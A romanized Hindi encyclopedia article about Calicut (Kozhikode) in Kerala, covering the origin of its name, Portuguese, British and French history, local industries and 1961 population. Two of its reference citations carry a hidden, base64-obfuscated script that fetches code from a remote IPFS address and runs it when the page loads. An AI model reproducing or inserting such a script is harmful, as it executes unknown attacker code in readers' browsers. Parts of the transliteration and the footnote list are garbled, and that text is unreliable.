कालीकट

[[chitr:Calicut-Beach-Kerala.jpg|thumb|250px|kalikat tat, keral]] kalikat athava 'kolikod' keral rajy ka ek nagar aur pattan hai. yah madras se 414 mil pashchimi arab sagar ke kinare nimn samatal maidan mean asvasthyaprad jalavayu ke bhag mean 'kallayi nadi' par sthit hai. 13vian shatabdi ke arab lekhakoan ne pashchimi tat ke pramukh bandaragah ke roop mean isaka ullekh kiya hai. 15vian shatabdi mean yah malabar tat ka pramukh nagar tha.

itihas

kolikod^[1] shabd ka arth 'kakadurg' hai. aantim naresh cherasan peroomal ne makka ke liye prasthan karate samay apana rajy apane nayakoan mean baant diya tha. qile ke chaturdik, jahaan tak qile mean bolane vale murge ki avaz sunaee deti thi, utana kshetr unhoanne jamorin namak nayak ko de diya tha. at: is kshetr ka nam 'kolikod' p da. 1486 ee. mean pratham yooropavasi vasko d gama yahaan aya aur 1525 ee. tak purtagaliyoan ka vyapar yahaan se hone laga.^[2]

aangrezoan ka adhikar

1615 ee. mean yah british adhikar mean aya. 1698 ee. mean yahaan fraansisi bastiyaan basian. fraans aur briten ke bich ke yuddh ke kal mean isaki satta badalati rahi. maisoor ke shasakoan se ise adhik kshati pahuanchati rahi. itihas mean prasiddh haidar ali ke putr tipoo sultan ne bhi ise hathiyane ka prayas kiya tha.

udyog v vyapar

kalikat ke bane sooti kap de ki b di khyati thi. 1883 ee. mean yahaan ek 'vashpachalit putalighar' ki sthapana huee thi. yahaan grih udyog ke roop mean beant aur baans ka saman, moortikala^[3], lak di par naqqashi, diyasalaee aur sabun rangaee, adi udyog mukhy haian. yahaan se k aaufi or masale ka niryat hota hai.^[2]

janasankhya

1961 mean kalikat ki janasankhya 1,92,521 thi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ kalikat
↑ ^2.0 ^2.1 sianh, kailashanath. kolikod (kalikat) (hindi). . abhigaman tithi: 06 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ kumhari

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] t

[mcc-2] 2.0 ^2.1 sianh, kailashanath. kolikod (kalikat) (hindi). . abhigaman tithi: 06 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] umhari

[1]

[2]

[3]